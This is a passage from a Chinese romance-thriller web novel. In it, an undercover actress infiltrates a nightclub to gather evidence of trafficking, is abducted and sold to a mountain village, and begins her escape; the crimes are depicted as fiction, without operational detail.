冷嫦点点头，并不说话，郗正忙于处理事务，并未注意到冷嫦的异常，快步走了出去。
见郗正的身影消失不见，冷嫦将碗筷放下，脑袋里乱糟糟的，反反复复都是郗正和戴安娜交谈时的各种细节放大。
心里止不住的乱想，郗正和戴安娜是什么关系，为什么郗正出去和戴安娜见面都不告诉我。
所以，昨晚的体贴是假，所有的耳边呢喃也是假，是吗。
呆坐了了两分钟，冷嫦还是重新拿起了碗筷，认认真真的开始吃饭，几滴眼泪落入碗中，迅速消融。
这一刻，冷嫦的脑子格外清醒，不在盼望郗正的回应和解释，自己也是有任务的，怎么能在儿女情长上耽搁这么久。
求人求佛不如求己，冷嫦在心里决定好了。
吃完饭，冷嫦回了房间，将属于自己的东西一一打包好，房间里顿时空出一片区域。
——你我之间，终究陌生一场。
冷嫦这么想着，脸上也多了几分疲惫的笑意。
33. 冰度甜蜜
冷嫦在家独自用完晚饭后，郗正才堪堪到家。
风尘仆仆的郗正，眉宇间是掩饰不住的疲倦，见冷嫦已经吃完饭，也不嫌弃直接拉开椅子坐到冷嫦的对面开始用饭。
冷嫦抿唇，原本放下的筷子，又捏在了手里，对着阿姨道：“把其它菜也端过来。”
阿姨笑着应是。
看着郗正大口吃饭的样子，冷嫦还是决定先说清楚，语气轻柔：“我想搬回自己家住了，行李已经收拾好了。”
郗正的动作一顿，眼底闪过一丝无措。
“在这里住的不合心意，还是……”因为昨晚的事情，郗正有些食不下咽。
“不是。”冷嫦笑着摇了摇头，夹了一筷子鱼放在郗正的碗里，神态自若的解释道：“我在这里还是有很多不方便的地方，搬出去这件事，我也思考了很长时间，才下定的决心，这段时间多有叨扰，我搬走也能给你减轻些负担。”
说谎。郗正嘴角紧抿，目光一错不错的看着冷嫦平静的脸。
“如果你真的想好了。”郗正有些说不下去，私心里，郗正自然不愿冷嫦搬走，他们之间的相处时间本就所剩无几，若是冷嫦离开，又不知道多少天才能见到一面。
但，真论起来，冷嫦离开，对双方都好。
目前不知道有多少双眼睛盯着自己，冷嫦离自己愈近，就是离危险愈近，若是搬走，多少安全上能多几分保障。
冷嫦眨眨眼，“我已经决定好了。”语气柔和但不容置疑。
郗正沉默了半晌，在阿姨放好菜后，只说了一句：“先吃饭吧。”
冷嫦颔首。
*
哪怕郗正故意拖延了时间，用饭时间也过得很快。
见郗正吃完，冷嫦率先起身：“那我就先走了。”
“等下，我送你。”郗正跟着冷嫦一起上了楼。
卧室里，属于冷嫦的东西都已经分门别类的装好了，空出的大片地方，让郗正的目光停留了一瞬。
冷嫦收拾出了三个行李箱，说实话，冷嫦也没想到能装这么多东西。
郗正先一步拎着两个行李箱下楼，冷嫦只好自己拖着另一个体积相比起来要小很多的行李箱跟着往下走。
将行李往车内放好，郗正又接过冷嫦手里的行李箱，不小心触碰到冷嫦手背的肌肤，内心有一丝触动。
“谢谢你。”冷嫦礼貌道谢。
“……不客气。”郗正声音低哑。
替冷嫦开了后车座的车门，冷嫦坐进去后，郗正去了驾驶位。
冷嫦有一丝惊讶，原来是要送自己回家，还以为是司机送呢。
但这些已经在冷嫦心里惊不起多大的波澜了。
冷嫦看向窗外，神色幽远。
郗正透过后视镜看到这一幕，握着方向盘的手微紧。
车子启动，并不算远的距离此时漫长得惊人。
郗正不善言辞，冷嫦又刻意不去搭话，车里的氛围沉默的恍如凝结。
冷嫦看着离家越来越近的距离，每接近一分心里就更平静一分。
对郗正，冷嫦真的心灰意冷了。
“在门口停就可以。”冷嫦开口说。
郗正：“好。”
车子停住，冷嫦下车自顾自的将行李抬了下来，额间冒出了细汗，郗正想要帮忙却被拒绝。
“谢谢你送我回家，麻烦了，时候不早了，郗警官也早点回去吧。”冷嫦并没有想要邀请郗正喝杯茶的意思。
郗正垂身侧的手握紧，目光在冷嫦的脸上看了片刻，冷淡点头：“嗯。”
转身欲走，郗正突然想到什么，将口袋里的小玻璃瓶递给了冷嫦，冷嫦不明所以的接过，只见拇指大小的玻璃瓶里，有一粒红蓝色的胶囊。
“这是？”冷嫦微微皱眉。
“如果你的身体后续出现了什么特别的异常状况，你就服用它，平时小心点保存。”郗正垂眸看着冷嫦，道。
他明白冷嫦想要拉开距离的想法，只是在身体上还是不容随意忽视。
疏远也好，以后，他可以安心的独自一个人，去赴深渊，而冷嫦，只要能够快乐的活着，就好。
而他那些不可言说的心意，这么多年都守住了，现在早已都不重要。
郗正嘱咐完，随即不做停留，启动车子走了。
冷嫦看着车子远去，也松了口气，自己一个人费了九牛二虎之力将东西全都送到屋内，才瘫坐在沙发上，有时间喘口气。
这么这么一折腾，天色就暗了下来，冷嫦突然想到任务目标，又急匆匆找到手机，给达尔发去消息 ：出了点意外，酒已经没有了。
那边消息回复的很快。
达尔：没事，只要没流入市场就行，酒里的成分可不能让别人获得，否则后果简直不堪设想。
冷嫦想到那瓶酒被自己喝了，心里心虚了一瞬，又问道：那瓶酒里到底是什么东西？
达尔此时也不隐藏，将自己知道的都说了出来。
达尔：具体我也不清楚，但我只知道，这酒里面的东西是以透支生命来获得暂时爆发的危险品，一道爆发期过去，就是极致的衰败，甚至比癌症还要恐怖。
冷嫦如坠冰窖，又慌忙打字：那如果有人喝了怎么办？
达尔：如果能在喝下的24小时内吃进去特效药，基本不会有什么大碍，但普通老百姓上哪儿去找特效药啊。
达尔不由得长吁短叹。
冷嫦陷入了沉思，自己在第二天醒来仅仅是察觉到了疲惫，并没有任何其它症状，也就是说，在自己给郗正打电话，郗正赶回家里的这段时间，一定是发生了什么。
但这段时间，冷嫦又的确是不省人事，唯一目前有点头绪的，是郗正离开之前给的小玻璃瓶，那里面有一粒红蓝胶囊。
冷嫦下意识摸到小玻璃瓶，试探性的询问达尔：那种药很昂贵吗？
达尔：岂止是昂贵，简直堪称天价，每一粒的配比都是极其精细的保存，有一个环节出现了小小的失误，那损失都是不可估计的！
头痛了一秒，冷嫦决定转移话题，又给达尔发消息：上次你和我提到的西城人口事件，我可能有了些许线索。
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>达尔：说说看。
冷嫦认真的将自己的所见所闻说出来：昨天的拍卖会，我看到了沈军在后花园和人打电话，我听到他说什么人口山区之类的。
达尔：如果真的却有此时，那沈军的确嫌疑重大，并且这条线索也很重要，这样，酒的事情已经告一段落，你开始下一个任务吧。
达尔：你这次需要假装女大学生，进入沈军旗下的夜场。
冷嫦一点就透：如果说他们之间要如何交易，或是扩散某种违禁品，夜场就是最好的掩护点！
达尔很满意：不错，所以夜场定有证据，这一次就需要你身先士卒了。
冷嫦：不负所托。
回完消息后，冷嫦又谨慎的将所有消息记录一一清除。
想到沈军的夜场，冷嫦对此并不算十分了解，既然要决定先对此下手，那事先的情报收集，便必不可少了。
冷嫦打开手机开始搜索，翻看了大致的内容，也多是一些似是而非，夸赞其服务态度和环境的。
这些可没什么用，于是冷嫦又开始翻找各个好友，尤其是娱乐圈内的，先挑起话题，再将内容引到这个夜场上。
果不其然，再其余人的一头雾水，有几个就明显知道的内容更多。
随着闲聊时间的拉长，冷嫦也知道了不少情况。
首先，这个夜场，共有七位负责人，每个负责人都带领一批人，各自负责不同的事务。
冷嫦要是想混进去，就要想办法办法让一个叫王姐的负责人看到，然后将自己带进去。
而明天晚上六点，刚好有一批新人会进去，正是冷嫦潜入的好时候。
冷嫦和提供情报的小明星道了谢，开始着手准备。
*
另一边。
回到家的郗正独自回到大平层，平日里没什么感觉，如今只觉得家里空荡荡的，安静的吓人。
拿出手机，郗正想要发条消息，问一句收拾的怎么样，但点开聊天框，又无从下手。
郗正很少会觉得有徒然无力的时候，虽然明知道如今冷嫦身上也有秘密，但所爱之人的疏远却比任何一把刀子更觉得痛苦。
郗正长舒一口气，正准备扣上手机，又“嗡嗡嗡——”的响起。
郗正看了眼来电人，是戴安娜。
想到任务，郗正还是接了电话，声音冷漠：“什么事？”
戴安娜的心情似乎很好，声音娇柔：“给你发了消息你又不回我，只好亲自通知你一下了。”
郗正没有回答，戴安娜也不介意：“明天晚上六点，希豪酒店302，你想要的答案，我可以给你。”
意有所指的语气。
郗正对酒店这种仿佛带有某种暧昧色彩的地方敬谢不敏，想要回绝，但戴安娜先开口道：“过一段时间我可就要忙起来了，到时候哪怕是你，我也不会赴约的，郗正，你先想好了，再决定。”
郗正沉吟片刻，还是同意了：“可以，到时候我打电话给你。”
戴安娜笑了笑，笑声酥软：“那我静候佳音。”
电话挂断。
34. 冰度甜蜜
晚上六点，华灯初上。
富丽堂皇，占地可观的夜场犹如藏在夜色中的巨兽，等待着将人一口吞下。
此时的冷嫦已经换上了一件黑红相间的吊带式长及大腿的短裙，脖子上是一个蝴蝶结，修长的双腿套上了一层黑色蕾丝吊带袜，头发侧挽，为了最大程度的隐藏容貌，冷嫦化了个厚重些的烟熏妆，只是因为底子过于好，整个人反而显得十分娇媚。
冷嫦也见到了夜场负责人之一的王姐，那是一个四五十岁的女人，穿着红西装，头发盘起，嘴唇涂得血红，在巡视这一批新人姿态十分傲慢，目光落在冷嫦身上时，满意的点点头。
“好了，你们先听我说。”王姐拍拍手，在众人前方站定：“今天你们是你们第一次工作，工作内容我已经给你们看过了，既然都来了，就少给我端着架子！”
王姐又道：“我们这一行，就是多劳多得，只要你肯吃苦，一个月月入百万也不是没有可能！”
冷嫦明显听到身旁有几个女孩的呼吸加重了几分。
“你们胸前的号码牌，就是你们的工号，记住你们的身份，千万不要得罪了客人，否则我也是保不住你们的！”王姐冷声道。
话落，一挥手，早就等待多时的侍应生领着分离出的小队各自走向不同的方向。
冷嫦跟着一个十分年轻的侍应生往楼上走去，侍应生明显有意跟冷嫦交好，态度很好：“前面的包厢就是你这次的工作地点，客人们大多有时并不是特别好脾气，尽量顺着些。”
冷嫦配合的露出感激的眼神：“多谢！”
“那一般大家都几点结束？”冷嫦问道，一脸的犹豫：“我还不能太晚回家……”
侍应生一脸我明白，指了指走廊口，说：“哪里有排班表，你有空可以看看，但，你知道的，多劳多得……”
“明白，明白！”冷嫦乖乖应下。
侍应生满意的点点头，替冷嫦推开了包厢的房门。
门甫一打开，一种甜腻暧昧的香气扑面而来，包厢很大，十几个明显衣着华贵的男人三三两两的坐在各处，七八个和冷嫦打扮相似的年轻女孩们，陪笑着喝酒聊天，有时男人的手都放在了女孩光裸的腿上，女孩也是动也不敢动。
冷嫦这边进入包厢，就吸引了所有人的视线，许多男人看着身形高挑，姿容诱人的冷嫦，当即兴奋的招手：“美人这里坐。”
冷嫦也十分配合的表现出初出茅庐的新人模样，假装羞涩，慢吞吞的走了过去。
刚刚落座，冷嫦面前就被推过来一杯颜色鲜艳的酒，但闻起来酒味很淡，果味反而更浓，更像是饮料。
冷嫦注意到有几个女孩悄悄投过来担心的视线。
心里一暖，冷嫦还是那副小白花的模样，有些疑惑的歪头问：“这是饮料吗？送给我的？”
有一个男人笑了起来，带着大金戒指的手指头点点冷嫦，说：“尝尝看。”
冷嫦顺从的端起酒杯，喝了一口，下一秒借着包厢内并不明亮的灯光，转过头装作咳嗽，实则悄悄吐掉了酒液。
“咳咳，咳……”冷嫦努力眼角溢出眼泪：“好辣……”
这番作态明显取悦了这群人，引得众人笑起来。
气氛火热了起来，冷嫦心挂任务，也知道此时不能表露出着急，慢慢来，慢慢来……
冷嫦告诫自己。
为了增添趣味性，一个大腹便便的男人提议晚点有意思的，国王游戏。
从一副扑克牌里，选出和人数相同的纸牌，抽到最大数字的人就是国王，可以要求两个人做任何事。
冷嫦指尖轻点，脸上多了一丝真实的笑意。
“好呀。”
于是，游戏开始。
作为新加入的，也为了展示绅士风度，男人一挥手让冷嫦洗牌，这也恰好合了冷嫦的意。
故意表现的笨手笨脚，慌乱洗好牌的冷嫦将牌放在桌上，众人纷纷拿走了牌，冷嫦也如愿拿到了想要的牌。
“呀，看来我今天的运气不怎么好呢。”有个女孩咬唇轻笑，媚眼如丝。
“谁是国王？”有人问。
“是我。”冷嫦掀开了自己的牌，大王牌。
“那就……”在众人的目光下，冷嫦装作努力思考一番，目光落在酒上：“那就让方块8和梅花9每人喝一杯酒吧。”
很巧的是，方块8和梅花9是两个客人，两人也痛快，倒了满满一杯酒，喝的很快。
游戏继续，为了不被怀疑，冷嫦也有时候拿到小牌，但幸运的是每一次都没有她的任务，借着游戏灌了许多客人的酒，这些男人喝的都有些神志不清了。
冷嫦趁机说完去厕所，推开包厢门走了出去。
目的地在右侧，距离现在的位置隔了一个舞池，人声鼎沸，音乐喧闹，男男女女在贴身热舞。
冷嫦深吸一口气，钻进了舞池，有明显嗨上头的男人，试图伸手摸向冷嫦，冷嫦配合着音乐灵巧的滑步躲了过去，并向男人抛了个媚眼。
眼眸波光流转，在昏暗的灯光下，漂亮的不可思议。
趁着男人愣神，冷嫦迅速走开，中途又有几个男人想挨近美人，都被冷嫦借着穿梭的人群隐藏了身影。
终于摆脱了各种狂蜂浪蝶，冷嫦贴在墙壁上，深深吐出一口气。
将脖子上的蝴蝶结拽了拽，将中间看似是水钻，其实里面是微型摄像头摆好位置。
冷嫦将高跟鞋脱下，脚掌接触地面声音更小，有达尔给的地形图，还有顺来的排班表，冷嫦很顺利的潜入三楼。
小心躲过了监控，冷嫦来到挂着办公室牌子的房间，往下摁了摁把手，可以推开，冷嫦眉眼一凛，迅速进入。
办公室里空无一人，布置得和外面奢靡不同，这里简陋得多，冷嫦打开文件柜，开始翻看各种档案，有些是财务报告，有些是礼物往来的记录。
冷嫦将所有文件对准颈间的微型摄像头，一页一页翻的很快。
文件柜查完，冷嫦的目光看像办公桌，拉开抽屉，厚厚的一叠文件静静的躺在里面。
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冷嫦匆匆看过几张，果不其然，某种成分不明的药剂混入酒中大批量的向外扩散。
而这份秘密名单则记录了各渠道的动态，冷嫦知道时间紧任务重，于是马上将这份名单记入摄像头。
将资料重新放回去，冷嫦准备离开，起身时看到窗边的一对花瓶是一正一反的。
冷嫦看了片刻，走过去，试探性的将反方向的花瓶放正。
“咔哒咔哒——”
只见正对房门的墙壁缓缓一分为二，露出一条通往下面的幽黑小路。
是暗室！
冷嫦顾不得多想，打开手机的灯光，小心翼翼的拾阶而下。
往下走了大概十几秒，眼前豁然一亮。
木制的宽大牌子占据了一整面墙。上面有无数的照片和用红笔标注出来的内容。
冷嫦凑近看了看，赫然发现，这些照片上无一不是已经播报失踪的女性！
满满的一整面墙，全部都是……
冷嫦骇然的退后了一步，同为女性，自然对其它遭遇不测的女性更加得感同身受。
如今这上面的照片上，拍摄者完全根据自己的恶趣味将她们凄惨惊恐的模样拍摄下来，最后贴在这面墙上。
愤怒涌上心头，冷嫦的手甚至都气的发抖，怕微型摄像头拍摄的不够多，冷嫦用手机咔嚓咔嚓的拍了数十张。
沉浸在取证的冷嫦丝毫没感觉到身后的异样。
等冷嫦看到墙上多出的影子时，已经来不及了，身后之人快准狠的打晕了冷嫦。
在不省人事的前一秒，冷嫦费力看到了来人的脸——是沈军。
沈军古怪的笑起来：“你不是想知道我在做什么吗？你自己亲自去看看吧！”
拍卖会结束后，沈军透过灯光折射的影子，发现了冷嫦的存在，为了引其上钩，故意透露出似是而非的消息。
果不其然，第二天后，有一股隐蔽的势力开始调查自己，舍不得孩子套不着狼，沈军将夜场拿了出来。
为了能瓮中捉鳖，沈军也是舍得下本，至少，冷嫦拍摄的一切证据，都是真的。
被……骗了……
见冷嫦已经昏迷，沈军居高临下的摁了下墙上的按钮，三四个浑身包裹得漆黑的男人进来抬走了冷嫦。
暗室重归寂静。
沈军看着墙上的照片，忍不住笑出声，声音兴奋又疯狂：“想抓我，那来啊，哈哈哈哈……”
待沈军从办公室出去后，又是一副衣冠楚楚儒雅随和的形象。
而冷嫦，被拿走了手机，颈间的摄像头因为造型被误以为是装饰而侥幸留下。再交给下一波人后，冷嫦凭借着意志力强行清醒了几秒，但她并未声张，而是仔细记住了路线。
在停到人烟罕至的地方，这群人虽未发现冷嫦已经有逐渐清醒的迹象，依然谨慎的拿喷雾再次对准冷嫦喷了几下。
这下冷嫦彻底失去意识。
车辆启动，往更加深远的地方驶去。
一如，无数曾经遭遇迫害的姑娘。
35. 冰度甜蜜
滴答……滴答……
水珠落在水泥地面，发出清脆的声响。
昏昏沉沉之间，冷嫦只觉得头痛欲裂，缓缓睁开双眼，只见一片陌生的地方。
十分简陋的房子，屋顶都是只有一半的，身下铺了一层厚厚的稻草，双手双脚上锁着镣铐，黑色的锁链另一头深深嵌入墙壁。
身体依旧酸软无力，冷嫦仰躺在稻草上，复盘着昏过去之前发生的一切。
目前至少确定沈军从事不法行业，牵扯的利益链巨大，恐怕会牵一发而动全身，如果真要拔除这个毒瘤，还需要仔细策划。
都怪自己太不小心了，冷嫦懊恼，看到被桎梏住的双手双脚，心里涌起巨大的惶恐。
手机已经被拿走了，自己身上也没有什么可以像外联络的通讯设备，该怎么办……
冷嫦焦躁不安，这时就听一阵脚步声传来，冷嫦费力的坐起身，目光警惕的盯着来人。
那是一个瘸腿的中年男人，一瘸一拐的端着饭菜过来，放在距离冷嫦不远的位置，看到冷嫦已经醒了，裂开嘴笑，嘴里还喊着：“老婆你醒了。”
一股难闻的气味钻进鼻腔，冷嫦直犯恶心，这个男人甚至还留着口水，将胸前一片都浸湿了。
“你别过来！”冷嫦蹬腿努力往后靠，耗费了许多的力气让脸上浮上一层红晕。
“嘿嘿，老婆你真好看……”男人抬手想要去摸冷嫦，冷嫦浑身止不住的颤抖，只能左躲右躲。
“快吃饭，今晚吃完饭，明天就能办婚礼了。”男人说。
“滚开！”冷嫦下意识反驳：“我不认识你，你这是犯法的！我不要和你办婚礼！你放我走，你以后还可以从轻处置！”
“敬酒不吃吃罚酒！”男人冷下了脸色，毫不留情的抬手扇了冷嫦一巴掌。
冷嫦因为惯力，不由得歪了歪身体，力度之大，冷嫦甚至能感觉到脸上火辣辣的疼。
“告诉你吧，卖到这的女人，就没有一个能逃跑了的！”男人蹲下身拽起冷嫦的头发，迫使她仰头，阴狠道：“威胁我，你以为这还是你们那个大城市？这里，我就是王法！”
冷嫦痛的眼泪都出来了，也不敢再说惹怒他的话，男人见冷嫦安分了下来，冷笑一声，松了手。
“赶紧把饭吃了。别想着跑出去，到时候我再来看你，只要你乖乖的，我不会亏待你。”男人说完，走了。
见男人走远了，冷嫦吸了吸鼻子，强迫自己冷静下来。
看来自己是被沈军卖到了大山里，真是够恶毒的。
冷嫦又等了几分钟，终于感觉手脚的力气都恢复了。
手扯了扯镣铐，根本不是人力徒手就能打开的，得寻找钥匙。
冷嫦又试了试锁链的最大程度的可活动范围，一番动作下来后，肚子也在咕咕作响。
不管怎么样，首先得先填饱肚子，冷嫦将饭碗端过来，开始吃饭。
吃着吃着，冷嫦的眼泪就忍不住的落，再怎么说，她也是一个女生，如今被困大山，孤立无援，如果逃不出去，就会一辈子在这里，不停的生孩子，这种恐怖哪个女生能不害怕。
“别怕，冷嫦，别怕。”冷嫦拍拍自己的脸，自我安慰道：“没事的，没事的。”
将一大碗的饭菜都吃了个干净，冷嫦开始思考对策。
指尖摸上了脖子上的蝴蝶结，冷嫦将蝴蝶结拆开，将中间的微型摄像头藏在身上，这里面有沈军的重要罪证，自己这么以身涉险就是为了它，千万不能丢。
又检查了一下身上还有什么可以用的，只有四个一字夹，几个弹性很好的皮筋，自己如果想要跑出去，就要想办法拿到钥匙，把高跟鞋换成平底鞋，而且要添两件衣服。
冷嫦的思绪很快，大山之中，往外延伸的路大多崎岖，并且这里的人个个都是眼线，都不可信，哪怕是警察也不能靠近。
这么想着，不知道过了多久，瘸腿的男人又过来了。
冷嫦神色微动，开始装病：“我肚子疼，头也疼，你可不可以领个大夫过来。”
男人疑心很重：“你不是在骗我吧？”
冷嫦假装虚弱：“没有，我真的生病了……”
见男人还是不相信，冷嫦加大火候，故意放软了声音：“大哥，你看我就是一个弱女子，什么也做不了，你帮我把镣铐解开，我跟你走。”
男人面上已经有游移之色，却还是拒绝了冷嫦的请求，恶狠狠道：“我才不信，你们这种大城市的女人最会骗人了！”
说着狠狠瞪了冷嫦一眼，走了。
冷嫦并不灰心，她本就没指望一次能成功，忽然，冷嫦听到了说话声。
先是瘸腿男人的声音：“你来干什么？”
“嘿嘿，我看看，我看看。”另一个男人陪笑着说。
“你离我媳妇远点！这是我的！”瘸腿男人语气很冲。
“好你个张大力！你买媳妇的钱我还出了一部分！凭啥我不能来！再说了，那个女人长的那么好，凭什么就你自己享受！我不管，我不要我之前那个媳妇了，我要这个！”
“你自己都有了还管我要？别以为你是我哥我就会听你的！”
……
二人的争吵声逐渐大了起来，冷嫦也搞明白了原因。
原来瘸腿男人叫张大力，另一个说话的男人是他哥，叫张大海，在买了自己之前，他们还买了一个女人给张大海。
只是那个女人受刺激过大，已经疯了。
张大海本就心存了不满，如今看到张军买来的女人是个上等货，就想着不要疯媳妇了，想要冷嫦。
但张大力哪能干，两人就这么吵起来了。
冷嫦思忖，如果是这样，那这个张大海应该可以利用一下。
保存了体力，冷嫦等着男人下一次的送饭，不出意外，下一次来送饭的应该就是这个张大海。
果不其然，冷嫦数着时间，就听见了一阵有别于一瘸一拐的脚步声。
深呼吸一口气，冷嫦努力放松自己的身体，将表情也变成一副楚楚可怜的样子。
张海端着饭碗进来，一眼就看到了冷嫦。
真漂亮啊，张大
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海看得目不转睛，像他们这种人，一辈子能见过什么好看的女人，如今看到冷嫦这样的，简直是惊为天人，贫瘠的词汇也只能形容出，跟个仙女似的。
冷嫦声音柔和：“你是来给我送饭的吗？”
张大海忙放下饭菜：“啊对，是我，是我送。”
冷嫦抿着唇对张大海笑了笑：“你放的有点远，可以近一些吗？”
“啊，行。”张大海被这一笑迷到了，又端起碗凑到了冷嫦跟前。
“谢谢你。”冷嫦目光深深的看着他，作为演员，冷嫦很明白眼神的重要性，眼里的千言万语，情意绵绵让张大海都有些神魂颠倒了。
张大海看着冷嫦只穿了吊带袜的大腿，搓了搓手，试探性的摸了上去。
冷嫦恶心的想吐，却还是强忍着，对张海说：“我怕黑，晚上你可以来陪我吗？那个男人，我有点害怕。”
“好好好。”张大海点头，心里不忿，凭什么自己那个瘸弟弟能有这种老婆，不论如何，这个女人他要定了。
估摸着时间也快到了，张海不舍的在冷嫦腿上摸了两下，转身走了。
见男人一走，冷嫦干呕了两下，眉目间都像是淬了冰。
*
晚上，张大海果然又过来了。
“哎呦小美人～”张大海脱了外套，就要扑上来。
冷嫦欲擒故纵的躲了一下：“大哥，先别！”
在张大海疑惑的目光下，冷嫦诱惑道：“这个链子太碍事了，我都不好脱衣服……”
张大海有些纠结，但冷嫦知道这人色心大过一切，又轻声慢语道：“你也知道我在这里人生地不熟的，跑也跑不出去，哪怕有没有这链子都无所谓，但待会儿……”
冷嫦闭口不再言语，后续的内容就足够张大海脑补了。
张大海也是色心上头，脑子一热答应了。
从兜里掏出钥匙，咔咔两下给冷嫦解了手腕上的镣铐后，又去解脚上的。
冷嫦借着活动手腕的动作，迅速掏出早就准备好的砖头，快准狠的拍向了张大海的脑袋。
张大海一抬头，只来的及惊叫一声，下一秒就扑通倒地。
时间不容拖延，冷嫦拿走了钥匙，将张大海脱掉的外套拎起，将鞋子扔到外墙的墙角，伪装成翻墙而去的样子后，急忙躲进了牛棚。
刚刚张大海那一声尖叫还是引来了人，就在冷嫦躲好下一秒，有人提着灯走了过来，看见地上的张大海和空荡荡的锁链，顿时大喊：“不好了！那女的跑了！”
又有几个人陆陆续续的过来，张大力瘸着腿过来一看，哎呦一声坐到地上：“哥！哥！你真是害苦了我！”
“看这有只鞋！”有人发现了墙角的鞋。
“肯定是翻墙跑出去了，追！快追！跑不远的！”众人有一窝蜂的追了出去。
不省人事的张大海也被抬走了，张大力也瘸着腿出去寻找了。
躲在牛棚里的冷嫦大气不敢喘，听到外面的声音渐渐没了，才终于松了一口气。
开始计划下一步该如何行动。